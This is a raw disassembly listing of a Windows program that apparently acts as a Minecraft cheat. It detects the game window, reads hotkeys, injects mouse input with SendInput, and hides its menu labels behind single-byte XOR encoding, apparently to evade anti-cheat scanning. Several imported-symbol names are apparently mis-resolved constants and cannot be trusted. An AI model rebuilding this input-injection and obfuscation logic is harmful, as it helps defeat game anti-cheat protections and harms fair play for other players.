movups xmm1, xmmword [rax]
movups xmmword [rbp + 0x2d8], xmm1
je 0x1400651e4
movss xmm0, dword [rbp + 0x2d4]
comiss xmm0, xmm9
jb 0x1400651b2
mov dword [rbp + 0x2d4], 0
jmp 0x1400651e4
call fcn.14000a360
movss xmm0, dword [rbp + 0x2d4]
movss xmm1, dword [rax + 0x10]
mulss xmm1, dword [0x1401556e0]
divss xmm1, xmm13
addss xmm0, xmm1
movups xmm1, xmmword [rbp + 0x2d8]
movss dword [rbp + 0x2d4], xmm0
movups xmmword [rdi + 0x2e8], xmm1
lea rcx, [rbp + 0x220]
movups xmm0, xmmword [rbp + 0x2d8]
movups xmmword [rdi + 0x1f8], xmm0
movups xmm1, xmmword [rbp + 0x2d8]
movups xmmword [rdi + 0x208], xmm1
movups xmm0, xmmword [rbp + 0x2d8]
movups xmmword [rdi + 0x1e8], xmm0
movups xmm1, xmmword [rbp + 0x2d8]
movups xmmword [rdi + 0x348], xmm1
movups xmm0, xmmword [rbp + 0x2d8]
movups xmmword [rdi + 0x2b8], xmm0
movups xmm1, xmmword [rbp + 0x2d8]
movups xmmword [rdi + 0x2c8], xmm1
movups xmm0, xmmword [rbp + 0x2d8]
movups xmmword [rdi + 0x298], xmm0
movss xmm0, dword [0x14015560c]
movss xmm3, dword [rbp + 0x230]
movss xmm2, dword [rbp + 0x234]
movss xmm1, dword [rbp + 0x238]
movss dword [rsp + 0x20], xmm0
call fcn.140004610
cmp byte [0x140168fcf], 0
movups xmm0, xmmword [rax]
movups xmmword [rdi + 0x3d8], xmm0
jne 0x140066cc5
mov rax, qword gs:[0x58]
mov edx, 4
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140169194], eax
jle 0x1400652e6
lea rcx, [0x140169194]
call fcn.1400cbc5c
cmp dword [0x140169194], 0xffffffff
jne 0x1400652e6
lea rcx, [rbp - 0x68]
call fcn.140063c80
lea rcx, [0x140169194]
movups xmm0, xmmword [rax]
movups xmmword [0x140169198], xmm0
call fcn.1400cbbf0
lea rdx, [rbp + 0x2d8]
xor ecx, ecx
call fcn.140007310
cmp byte [0x140169138], 0
je 0x140065382
cmp byte [0x140168f61], 0
je 0x140065382
movdqa xmm1, xmmword [str.Q__58____45]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov byte [rbp - 0x69], 0
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor byte [rbp - 0x70], cl
xor byte [rbp - 0x6f], cl
xor byte [rbp - 0x6e], cl
xor byte [rbp - 0x6d], cl
xor byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], cl
xor byte [rbp - 0x6a], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
lea rcx, [rbp + 0x338]
mov byte [rbp - 0x77], al
call fcn.1400030a0
lea r9, [rbp - 0x77]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [0x14016817c]
mov rcx, rax
call fcn.140012f10
jmp 0x14006544a
mov cl, 0x52
mov byte [rbp + 0xc0], Ordinal_35
xor cl, 0x22
mov al, 0x51
mov dl, 0x50
mov byte [rbp + 0xc2], cl
mov r8b, 0x4b
lea rcx, [rbp + 0x338]
mov r9b, 0x4c
mov r10b, 0x56
mov r11b, 2
xor al, 0x22
xor dl, 0x22
mov byte [rbp + 0xc1], al
xor r8b, 0x22
mov byte [rbp + 0xc3], dl
xor r9b, 0x22
mov byte [rbp + 0xc4], r8b
xor r10b, 0x22
mov byte [rbp + 0xc5], r9b
xor r11b, 0x22
mov byte [rbp + 0xc6], r10b
mov bl, reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc7], r11b
mov dil, Ordinal_79
mov sil, 0x46
xor r15d, r15d
xor bl, 0x22
xor dil, 0x22
mov byte [rbp + 0xc8], bl
xor sil, 0x22
mov byte [rbp + 0xc9], dil
mov byte [rbp + 0xca], sil
mov byte [rbp + 0xcb], r15b
call fcn.1400030a0
lea r9, [rbp + 0xc1]
mov rcx, rax
lea r8d, [r15 + 0x20]
lea rdx, [0x14016817c]
call fcn.140012f10
mov rdi, qword [rbp + 0x120]
mov esi, 0xffff8001
mov r15d, 1
mov ecx, r15d
call fcn.140007370
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140066d96
mov ecx, Ordinal_79
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400654db
mov ecx, 0x59
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400654db
mov ecx, Ordinal_79
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400654db
mov ecx, Ordinal_79
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ebx, dword [rbp - 0x80]
test ax, ax
je 0x140064ef1
mov ecx, 0x59
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140064ef1
mov ecx, Ordinal_79
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140064ef1
cmp byte [0x140169138], 0
sete byte [0x140169138]
cmp byte [0x140168fca], 0
je 0x140065598
lea rdx, str.Minecraft
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rbx, rax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, rbx
jne 0x140065598
xorps xmm0, xmm0
mov dword [rbp + 0x2a0], Ordinal_33
xor eax, eax
lea rcx, [rbp + 0x2a0]
movups xmmword [rbp + 0x2a4], xmm0
mov dword [rbp + 0x2b4], eax
call qword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x140065598
cmp dword [rbp + 0x2a4], 0
jne 0x140065598
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140065598
mov r8d, Ordinal_41
lea rdx, [rbp + 0x5c0]
mov ecx, r15d
call qword [sym.imp.USER32.dll_SendInput]
lea rdx, [rbp - 0x78]
mov dword [rbp - 0x78], 0x7d
lea rcx, [rbp + 0x1e0]
call fcn.14006a0c0
mov rcx, rax
call fcn.14006a0d0
mov r8d, Ordinal_41
lea rdx, [rbp + 0x5e8]
mov ecx, r15d
call qword [sym.imp.USER32.dll_SendInput]
lea rcx, [rbp + 0x1e8]
call fcn.140017dc0
lea rcx, [rbp + 0x1f0]
movss xmm6, dword [rax + 4]
divss xmm6, xmm11
subss xmm6, xmm11
call fcn.140017dc0
movaps xmm2, xmm6
lea rcx, [rbp + 0x2f0]
movss xmm1, dword [rax]
mulss xmm1, dword [0x140155604]
call fcn.140004600
cmp byte [0x140169138], 0
je 0x140066ae7
cmp byte [0x140168f61], 0
je 0x140066ae7
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14006562d
movss xmm1, dword [0x140155768]
lea rcx, [rbp + 0x178]
movaps xmm2, xmm15
call fcn.140004600
mov rcx, rax
xor edx, edx
call fcn.1400169d0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x140169148], 1
lea rdx, [rbp + 0x2f0]
lea rcx, [0x1401542ac]
call fcn.1400446a0
test al, al
je 0x140065656
mov qword [reloc.WS2_32.dll_accept], 1
mov dword [0x140168178], r12d
lea rdx, [rbp + 0x2f0]
lea rcx, [0x1401542b0]
call fcn.1400446a0
test al, al
je 0x14006567f
mov dword [reloc.WS2_32.dll_accept], r12d
mov qword [0x140168174], 1
lea rdx, [rbp + 0x2f0]
lea rcx, [0x1401542b4]
call fcn.1400446a0
test al, al
je 0x1400656a8
mov qword [reloc.WS2_32.dll_accept], 0
mov dword [0x140168178], r15d
xorps xmm2, xmm2
lea rcx, [rbp + 0x1f8]
xorps xmm1, xmm1
call fcn.140004600
lea rcx, [rbp + 0x200]
mov rbx, rax
call fcn.140016700
lea rcx, [rbp + 0x208]
movss xmm6, dword [rax + 4]
addss xmm6, dword [0x140155708]
call fcn.140016700
movss xmm1, dword [rbp + 0x2f0]
lea rcx, [rbp + 0x138]
movaps xmm2, xmm6
addss xmm1, dword [rax]
addss xmm1, dword [0x1401556ec]
call fcn.140004600
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.1400169f0
lea rcx, [rbp + 0x140]
call fcn.1400168b0
lea rcx, [rbp + 0x148]
movss xmm6, dword [rax + 4]
subss xmm6, dword [0x14015570c]
call fcn.1400168b0
movaps xmm2, xmm6
lea rcx, [rbp + 0x150]
movss xmm1, dword [rax]
subss xmm1, dword [rbp + 0x2f0]
subss xmm1, dword [0x1401556fc]
call fcn.140004600
mov cl, reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x70], reloc.WLDAP32.dll_Ordinal_26
movzx edx, cl
mov r8b, 0x79
mov r9b, 0x75
mov r10b, reloc.WS2_32.dll_WSACleanup
mov r11b, WSAGetLastError
xor dl, 0x1a
movzx edi, r10b
mov byte [rbp + 0x72], dl
movzx esi, r11b
xor cl, 0x1a
xor r8b, 0x1a
mov byte [rbp + 0x71], cl
xor r9b, 0x1a
mov byte [rbp + 0x73], r8b
mov byte [rbp + 0x74], r9b
lea rcx, [rbp + 0x71]
xor r10b, 0x1a
xor r11b, 0x1a
mov bl, 0x7f
mov byte [rbp + 0x75], r10b
xor r15d, r15d
mov byte [rbp + 0x76], r11b
xor bl, 0x1a
mov byte [rbp + 0x7a], r15b
xor dil, 0x1a
mov byte [rbp + 0x77], bl
xor sil, 0x1a
mov byte [rbp + 0x78], dil
mov rdx, rax
mov byte [rbp + 0x79], sil
xor r9d, r9d
xor r8d, r8d
call fcn.14000ff10
call fcn.140046ae0
xorps xmm0, xmm0
call fcn.140017b30
cmp dword [reloc.WS2_32.dll_accept], r15d
je 0x140065d02
xor r8d, r8d
mov dword [rsp + 0x28], r12d
mov cl, 0x68
mov byte [rbp - 0x40], r8b
mov r8d, dword [0x1401690a0]
lea rbx, [0x140153294]
xor cl, 0x29
mov byte [rbp - 0x44], reloc.WLDAP32.dll_Ordinal_41
mov dl, 0x71
mov byte [rbp - 0x42], cl
xor dl, 0x29
mov qword [rsp + 0x20], rbx
mov al, 0x64
mov byte [rbp - 0x41], dl
xor al, 0x29
lea rdx, [0x140169098]
lea rcx, [rbp - 0x43]
mov byte [rbp - 0x43], al
lea r9d, [r15 + 0x14]
call fcn.140049b80
mov r9d, dword [0x140169098]
test al, al
je 0x140065869
test r9d, r9d
je 0x14006585f
cmp dword [0x1401690a0], r15d
jne 0x14006585f
mov dword [0x1401690a0], 1
mov dword [reloc.WLDAP32.dll_Ordinal_30], 0x1e
mov cl, Ordinal_32
mov dword [rsp + 0x28], r12d
xor cl, 0x56
mov byte [rbp - 0x3c], 0x56
mov dl, 0x18
mov byte [rbp - 0x3a], cl
xor dl, 0x56
mov qword [rsp + 0x20], rbx
mov al, reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp - 0x39], dl
xor r8d, r8d
lea rdx, [0x1401690a0]
xor al, 0x56
mov byte [rbp - 0x38], r8b
lea rcx, [rbp - 0x3b]
mov byte [rbp - 0x3b], al
call fcn.140049b80
test al, al
je 0x1400658c3
cmp dword [0x1401690a0], r15d
jne 0x1400658b9
mov dword [0x140169098], r12d
mov dword [reloc.WLDAP32.dll_Ordinal_30], 0x1e
movss xmm3, dword [0x1401556d4]
mov dl, 0x77
movss xmm2, dword [0x140155690]
movzx r8d, dl
xor dl, 3
mov dword [rsp + 0x28], r12d
mov al, 0x49
mov byte [rbp + 0x53], dl
xor al, 3
mov byte [rbp + 0x50], 3
mov cl, 0x6a
mov byte [rbp + 0x51], al
xor cl, 3
lea rax, str._.0f
mov r9b, 0x66
mov byte [rbp + 0x52], cl
mov r10b, WSAStartup
mov qword [rsp + 0x20], rax
mov r11b, 0x50
lea rdx, [0x140168158]
xor r8b, 3
lea rcx, [rbp + 0x51]
xor r9b, 3
mov byte [rbp + 0x54], r8b
xor r10b, 3
mov byte [rbp + 0x55], r9b
xor r11b, 3
mov byte [rbp + 0x56], r10b
xor ebx, ebx
mov byte [rbp + 0x57], r11b
mov byte [rbp + 0x58], bl
call fcn.140049b40
lea rcx, [rbp + 0x300]
call fcn.140017aa0
mov cl, 0x53
mov byte [rbp - 0x34], reloc.WLDAP32.dll_Ordinal_30
xor cl, 0x1e
mov byte [rbp - 0x30], bl
mov dl, 0x5c
mov byte [rbp - 0x32], cl
xor dl, 0x1e
lea rcx, [rbp - 0x33]
mov al, 0x4c
mov byte [rbp - 0x31], dl
xor al, 0x1e
lea rdx, [0x140168f66]
mov byte [rbp - 0x33], al
call fcn.140045ab0
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
xor edx, edx
mov byte [rbp - 0x50], listen
mov cl, 0x48
mov byte [rbp - 0x4d], dl
xor cl, 0xb
lea rdx, [0x140168f95]
mov al, reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp - 0x4e], cl
xor al, 0xb
lea rcx, [rbp - 0x4f]
mov byte [rbp - 0x4f], al
call fcn.140045ab0
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
mov dl, 0x71
mov byte [rbp + 0x10], 5
movzx r8d, dl
mov al, reloc.WLDAP32.dll_Ordinal_79
xor dl, 5
xor al, 5
mov cl, 0x6c
mov byte [rbp + 0x11], al
xor cl, 5
mov byte [rbp + 0x13], dl
xor r8b, 5
mov byte [rbp + 0x12], cl
mov byte [rbp + 0x14], r8b
mov r9b, 0x60
mov r10b, 0x77
xor r9b, 5
mov byte [rbp + 0x17], bl
xor r10b, 5
mov byte [rbp + 0x15], r9b
lea rdx, [0x140168f65]
mov byte [rbp + 0x16], r10b
lea rcx, [rbp + 0x11]
call fcn.140045ab0
movss xmm0, dword [rbp + 0x304]
call fcn.140017af0
call fcn.140046ae0
mov cl, 0x51
mov byte [rbp + 0xb0], 7
xor cl, 7
mov dl, 0x48
xor dl, 7
mov byte [rbp + 0xb2], cl
mov al, 0x46
mov byte [rbp + 0xb3], dl
mov r8b, Ordinal_79
lea rdx, [0x14016815c]
mov r9b, 0x43
lea rcx, [rbp + 0xb1]
mov r10b, Ordinal_41
mov r11b, 0x4a
xor al, 7
xor r8b, 7
xor r9b, 7
mov byte [rbp + 0xb1], al
xor r10b, 7
mov byte [rbp + 0xb4], r8b
xor r11b, 7
mov byte [rbp + 0xb5], r9b
mov bl, 0x42
mov byte [rbp + 0xb6], r10b
mov dil, 0x49
mov byte [rbp + 0xb7], r11b
mov sil, 0x52
xor r14d, r14d
xor bl, 7
mov byte [rbp + 0xbb], r14b
xor dil, 7
mov byte [rbp + 0xb8], bl
xor sil, 7
mov byte [rbp + 0xb9], dil
mov byte [rbp + 0xba], sil
call fcn.140045ab0
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
mov cl, reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 8], WSACleanup
xor cl, 0x71
mov dl, reloc.WLDAP32.dll_Ordinal_35
xor dl, 0x71
mov byte [rbp + 0xa], cl
mov al, Ordinal_35
mov byte [rbp + 0xb], dl
mov r8b, gethostname
lea rdx, [0x140168fca]
mov r9b, 0x3f
lea rcx, [rbp + 9]
mov r10b, 0x25
xor r11d, r11d
xor al, 0x71
mov byte [rbp + 0xf], r11b
xor r8b, 0x71
mov byte [rbp + 9], al
xor r9b, 0x71
mov byte [rbp + 0xc], r8b
xor r10b, 0x71
mov byte [rbp + 0xd], r9b
mov byte [rbp + 0xe], r10b
call fcn.140045ab0
call fcn.140046ae0
movaps xmm2, xmm7
lea rcx, [rbp + 0x158]
movaps xmm1, xmm7
call fcn.140004600
mov cl, 0x75
mov byte [rbp + 0x80], reloc.WS2_32.dll_listen
mov dl, reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x8a], r14b
movzx r8d, dl
mov r11b, 0x6a
xor dl, 0xd
movzx ebx, r11b
xor cl, 0xd
mov byte [rbp + 0x82], dl
mov r9b, 0x79
mov byte [rbp + 0x81], cl
mov r10b, 0x62
lea rcx, [rbp + 0x81]
xor r8b, 0xd
xor r9b, 0xd
xor r10b, 0xd
mov byte [rbp + 0x83], r8b
xor r11b, 0xd
mov byte [rbp + 0x84], r9b
mov dil, 0x61
mov byte [rbp + 0x85], r10b
mov sil, 0x68
mov byte [rbp + 0x86], r11b
xor bl, 0xd
xor dil, 0xd
xor sil, 0xd
mov byte [rbp + 0x87], bl
mov rdx, rax
mov byte [rbp + 0x88], dil
mov byte [rbp + 0x89], sil
call fcn.1400446a0
test al, al
je 0x140065be6
cmp byte [0x140168fcd], r14b
mov dword [0x140169118], r12d
je 0x140065be6
mov byte [0x140168fcd], r14b
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
movaps xmm2, xmm7
lea rcx, [rbp + 0x160]
movaps xmm1, xmm10
call fcn.140004600
mov r8b, 4
mov byte [rbp + 0xa0], 0x63
mov r11b, 6
mov byte [rbp + 0xab], r15b
movzx r9d, r8b
movzx esi, r11b
mov cl, reloc.WS2_32.dll_socket
mov dl, listen
xor cl, 0x63
xor dl, 0x63
mov r10b, reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa1], cl
mov byte [rbp + 0xa2], dl
lea rcx, [rbp + 0xa1]
xor r9b, 0x63
xor r8b, 0x63
xor r10b, 0x63
mov byte [rbp + 0xa4], r9b
xor r11b, 0x63
mov byte [rbp + 0xa3], r8b
mov bl, 0x43
mov byte [rbp + 0xa5], r10b
mov dil, 8
mov byte [rbp + 0xa6], r11b
mov r14b, reloc.WLDAP32.dll_Ordinal_26
xor sil, 0x63
xor bl, 0x63
mov byte [rbp + 0xa9], sil
xor dil, 0x63
mov byte [rbp + 0xa7], bl
xor r14b, 0x63
mov byte [rbp + 0xa8], dil
mov rdx, rax
mov byte [rbp + 0xaa], r14b
call fcn.1400446a0
test al, al
je 0x140065ce4
cmp byte [0x14016907c], r15b
mov ecx, r12d
mov dl, 1
mov dword [0x140169118], ecx
mov byte [0x140168fcd], dl
je 0x140065cf1
mov dword [0x1401690a4], r12d
mov byte [0x14016907c], r15b
call fcn.140063cb0
mov r14, qword [rbp + 0x128]
jmp 0x140066ca9
mov ecx, dword [0x140169118]
movzx edx, byte [0x140168fcd]
call fcn.140063cb0
mov r14, qword [rbp + 0x128]
jmp 0x140066ca9
cmp dword [0x140168174], r15d
je 0x140066513
mov cl, 0x66
mov dword [rsp + 0x28], r12d
xor cl, 0x2f
mov byte [rbp - 0x24], Ordinal_50
mov dl, 0x62
mov byte [rbp - 0x22], cl
xor dl, 0x2f
lea rbx, str._.2f
mov al, 0x7b
mov byte [rbp - 0x21], dl
mov r8b, 0x6a
mov qword [rsp + 0x20], rbx
mov r9b, 0x7d
lea rdx, [0x140168154]
xor r10d, r10d
lea rcx, [rbp - 0x23]
xor al, 0x2f
mov byte [rbp - 0x1e], r10b
xor r8b, 0x2f
mov byte [rbp - 0x23], al
xor r9b, 0x2f
mov byte [rbp - 0x20], r8b
movaps xmm3, xmm12
mov byte [rbp - 0x1f], r9b
movaps xmm2, xmm9
call fcn.140049b40
test al, al
je 0x140065d81
movss xmm0, dword [0x140168154]
call fcn.140063150
mov cl, 0x61
mov dword [rsp + 0x28], r12d
xor cl, 0x24
mov byte [rbp - 0x1c], 0x24
mov dl, 0x65
mov byte [rbp - 0x1a], cl
xor dl, 0x24
mov qword [rsp + 0x20], rbx
mov al, 0x76
mov byte [rbp - 0x19], dl
mov r8b, 0x67
lea rdx, [0x140168164]
mov r9b, 0x6c
lea rcx, [rbp - 0x1b]
xor r10d, r10d
xor al, 0x24
xor r8b, 0x24
mov byte [rbp - 0x1b], al
xor r9b, 0x24
mov byte [rbp - 0x18], r8b
movaps xmm3, xmm12
mov byte [rbp - 0x17], r9b
movaps xmm2, xmm11
mov byte [rbp - 0x16], r10b
call fcn.140049b40
test al, al
je 0x140065dec
movss xmm0, dword [0x140168164]
call fcn.140061da0
mov cl, 0x3e
mov dword [rsp + 0x28], r12d
xor cl, 0x77
mov byte [rbp - 0x10], 0x77
mov dl, reloc.WS2_32.dll_gethostname
mov byte [rbp - 0xe], cl
xor dl, 0x77
mov qword [rsp + 0x20], rbx
mov al, Ordinal_60
mov byte [rbp - 0xd], dl
mov r8b, reloc.WLDAP32.dll_Ordinal_50
lea rdx, [0x14016816c]
mov r9b, 0x36
lea rcx, [rbp - 0xf]
mov r10b, 0x25
xor r11d, r11d
xor al, 0x77
mov byte [rbp - 9], r11b
xor r8b, 0x77
mov byte [rbp - 0xf], al
xor r9b, 0x77
mov byte [rbp - 0xc], r8b
xor r10b, 0x77
mov byte [rbp - 0xb], r9b
xorps xmm3, xmm3
mov byte [rbp - 0xa], r10b
movaps xmm2, xmm9
call fcn.140049b40
test al, al
je 0x140065e69
movss xmm1, dword [0x140168168]
movss xmm0, dword [0x14016816c]
call fcn.140061fa0
mov al, 0x24
mov dword [rsp + 0x28], r12d
movzx r9d, al
mov byte [rbp + 0x18], WSAGetLastError
mov cl, reloc.WLDAP32.dll_Ordinal_41
mov qword [rsp + 0x20], rbx
xor cl, 0x6c
mov dl, 0x25
xor dl, 0x6c
mov byte [rbp + 0x1a], cl
mov r8b, Ordinal_45
mov byte [rbp + 0x1b], dl
mov r10b, gethostname
lea rdx, [0x140168168]
xor r9b, 0x6c
lea rcx, [rbp + 0x19]
xor r11d, r11d
mov byte [rbp + 0x1d], r9b
xor al, 0x6c
mov byte [rbp + 0x1f], r11b
xor r8b, 0x6c
mov byte [rbp + 0x19], al
xor r10b, 0x6c
mov byte [rbp + 0x1c], r8b
xorps xmm3, xmm3
mov byte [rbp + 0x1e], r10b
movaps xmm2, xmm9
call fcn.140049b40
test al, al
je 0x140065ee7
movss xmm1, dword [0x140168168]
movss xmm0, dword [0x14016816c]
call fcn.140061fa0
mov al, reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x90], 0x7d
movzx r11d, al
mov cl, Ordinal_41
xor cl, 0x7d
mov dl, reloc.WLDAP32.dll_Ordinal_41
xor dl, 0x7d
mov byte [rbp + 0x92], cl
mov r8b, reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x93], dl
mov r9b, reloc.WLDAP32.dll_Ordinal_45
lea rdx, [0x140168fc8]
mov r10b, gethostname
lea rcx, [rbp + 0x91]
xor r11b, 0x7d
xor al, 0x7d
xor r8b, 0x7d
mov byte [rbp + 0x97], r11b
xor r9b, 0x7d
mov byte [rbp + 0x91], al
xor r10b, 0x7d
mov byte [rbp + 0x94], r8b
mov bl, 0x2f
mov byte [rbp + 0x95], r9b
mov dil, Ordinal_50
mov byte [rbp + 0x96], r10b
xor esi, esi
xor bl, 0x7d
xor dil, 0x7d
mov byte [rbp + 0x98], bl
mov byte [rbp + 0x99], dil
mov byte [rbp + 0x9a], sil
call fcn.140045ab0
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
mov dl, 6
mov byte [rbp + 0x40], 0x52
movzx r11d, dl
mov r8b, Ordinal_30
xor dl, 0x52
movzx r10d, r8b
mov cl, 7
mov byte [rbp + 0x43], dl
xor cl, 0x52
lea rdx, [0x140168f63]
mov al, reloc.WS2_32.dll_send
mov byte [rbp + 0x42], cl
mov r9b, 2
lea rcx, [rbp + 0x41]
xor al, 0x52
xor r8b, 0x52
xor r9b, 0x52
mov byte [rbp + 0x41], al
xor r10b, 0x52
mov byte [rbp + 0x44], r8b
xor r11b, 0x52
mov byte [rbp + 0x45], r9b
xor ebx, ebx
mov byte [rbp + 0x46], r10b
mov byte [rbp + 0x47], r11b
mov byte [rbp + 0x48], bl
call fcn.140045ab0
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
mov cl, 0x5b
mov byte [rbp - 0x2c], reloc.WLDAP32.dll_Ordinal_26
xor cl, 0x1a
mov byte [rbp - 0x28], bl
mov dl, 0x5d
mov byte [rbp - 0x2a], cl
xor dl, 0x1a
lea rcx, [rbp - 0x2b]
mov al, 0x56
mov byte [rbp - 0x29], dl
xor al, 0x1a
lea rdx, [0x140168f97]
mov byte [rbp - 0x2b], al
call fcn.140045ab0
call fcn.140046ae0
movaps xmm2, xmm7
lea rcx, [rbp + 0x168]
movaps xmm1, xmm7
call fcn.140004600
mov dl, reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd0], reloc.WLDAP32.dll_Ordinal_50
movzx r8d, dl
mov byte [rbp + 0xdb], r15b
mov r11b, 0x46
xor dl, 0x32
movzx r14d, r11b
mov byte [rbp + 0xd2], dl
mov cl, 0x4a
mov bl, 0x5d
xor cl, 0x32
mov r9b, 0x53
mov r10b, 0x47
mov byte [rbp + 0xd1], cl
movzx esi, bl
lea rcx, [rbp + 0xd1]
xor r8b, 0x32
xor r9b, 0x32
xor r10b, 0x32
mov byte [rbp + 0xd3], r8b
xor r11b, 0x32
mov byte [rbp + 0xd4], r9b
mov dil, 0x42
mov byte [rbp + 0xd5], r10b
xor bl, 0x32
mov byte [rbp + 0xd6], r11b
xor dil, 0x32
mov byte [rbp + 0xd7], bl
xor sil, 0x32
mov byte [rbp + 0xd8], dil
xor r14b, 0x32
mov byte [rbp + 0xd9], sil
mov rdx, rax
mov byte [rbp + 0xda], r14b
call fcn.1400446a0
test al, al
je 0x1400660f4
cmp byte [0x140168fce], r15b
mov dword [0x14016909c], r12d
je 0x1400660f4
mov byte [0x140168fce], r15b
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
movaps xmm2, xmm7
lea rcx, [rbp + 0x170]
movaps xmm1, xmm10
call fcn.140004600
mov r8b, 0x7f
mov byte [rsp + 0x70], ntohs
mov r9b, 0x64
movzx ebx, r8b
movzx r11d, r9b
mov cl, 0x6a
xor cl, 0xb
mov dl, 0x7e
xor dl, 0xb
mov byte [rsp + 0x71], cl
mov r10b, 0x7b
mov byte [rsp + 0x72], dl
xor r11b, 0xb
lea rcx, [rsp + 0x71]
xor r8b, 0xb
mov byte [rsp + 0x76], r11b
xor r9b, 0xb
mov byte [rsp + 0x73], r8b
xor r10b, 0xb
mov byte [rsp + 0x74], r9b
mov dil, Ordinal_45
mov byte [rsp + 0x75], r10b
mov sil, 0x60
mov r14b, WSAGetLastError
mov r15b, WSACleanup
xor bl, 0xb
xor r12d, r12d
mov byte [rsp + 0x77], bl
xor dil, 0xb
mov byte [rsp + 0x7c], r12b
xor sil, 0xb
mov byte [rsp + 0x78], dil
xor r14b, 0xb
mov byte [rsp + 0x79], sil
xor r15b, 0xb
mov byte [rsp + 0x7a], r14b
mov rdx, rax
mov byte [rsp + 0x7b], r15b
call fcn.1400446a0
test al, al
je 0x1400661c1
xor ecx, ecx
mov dl, 1
mov dword [0x14016909c], ecx
mov byte [0x140168fce], dl
jmp 0x1400661ce
movzx edx, byte [0x140168fce]
mov ecx, dword [0x14016909c]
call fcn.140063cb0
movaps xmm2, xmm7
lea rcx, [rbp + 0x1d8]
movaps xmm1, xmm7
call fcn.140004600
mov dl, 0x6d
mov byte [rbp + 0xe0], Ordinal_79
movzx r8d, dl
mov r9b, 0x2f
xor dl, 0x4e
movzx r14d, r9b
mov cl, 0x36
mov byte [rbp + 0xe2], dl
xor cl, 0x4e
mov r10b, Ordinal_60
mov r11b, Ordinal_60
mov byte [rbp + 0xe1], cl
xor r8b, 0x4e
lea rcx, [rbp + 0xe1]
xor r9b, 0x4e
mov byte [rbp + 0xe3], r8b
xor r10b, 0x4e
mov byte [rbp + 0xe4], r9b
xor r11b, 0x4e
mov byte [rbp + 0xe5], r10b
mov bl, reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xe6], r11b
mov dil, 0x3e
mov sil, Ordinal_45
mov r15b, reloc.WLDAP32.dll_Ordinal_60
mov r12b, Ordinal_35
xor r13d, r13d
xor bl, 0x4e
xor dil, 0x4e
mov byte [rbp + 0xe7], bl
xor sil, 0x4e
mov byte [rbp + 0xe8], dil
xor r14b, 0x4e
mov byte [rbp + 0xe9], sil
xor r15b, 0x4e
mov byte [rbp + 0xea], r14b
xor r12b, 0x4e
mov byte [rbp + 0xeb], r15b
mov rdx, rax
mov byte [rbp + 0xec], r12b
mov byte [rbp + 0xed], r13b
call fcn.1400446a0
test al, al
je 0x1400662c1
cmp byte [0x140168fc9], r13b
mov dword [0x1401690ac], r13d
je 0x1400662c1
mov byte [0x140168fc9], r13b
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.1400179f0
movaps xmm2, xmm7
lea rcx, [rbp + 0x180]
movaps xmm1, xmm10
call fcn.140004600
mov qword [rbp - 0x78], rax
mov cl, 0x41
movzx ebx, cl
mov byte [rbp + 0xf0], reloc.WLDAP32.dll_Ordinal_32
mov r11b, 0x45
mov byte [rbp + 0xfe], r13b
xor cl, 0x20
movzx r12d, r11b
mov dl, 0x55
mov byte [rbp + 0xf1], cl
xor dl, 0x20
lea rcx, [rbp + 0xf1]
mov r8b, 0x54
mov byte [rbp + 0xf2], dl
mov rdx, qword [rbp - 0x78]
mov r9b, reloc.WLDAP32.dll_Ordinal_79
mov r10b, 0x50
mov al, 0x59
xor r8b, 0x20
xor r9b, 0x20
xor r10b, 0x20
mov byte [rbp + 0xf3], r8b
xor r11b, 0x20
mov byte [rbp + 0xf4], r9b
xor al, 0x20
mov byte [rbp + 0xf5], r10b
mov dil, 0x52
mov byte [rbp + 0xf6], r11b
mov sil, 0x4c
mov byte [rbp + 0xfd], al
xor r14b, r14b
mov r15b, 0x4b
xor bl, 0x20
xor dil, 0x20
xor sil, 0x20
mov byte [rbp + 0xf7], bl
xor r14b, 0x20
mov byte [rbp + 0xf8], dil
xor r15b, 0x20
mov byte [rbp + 0xf9], sil
xor r12b, 0x20
mov byte [rbp + 0xfa], r14b
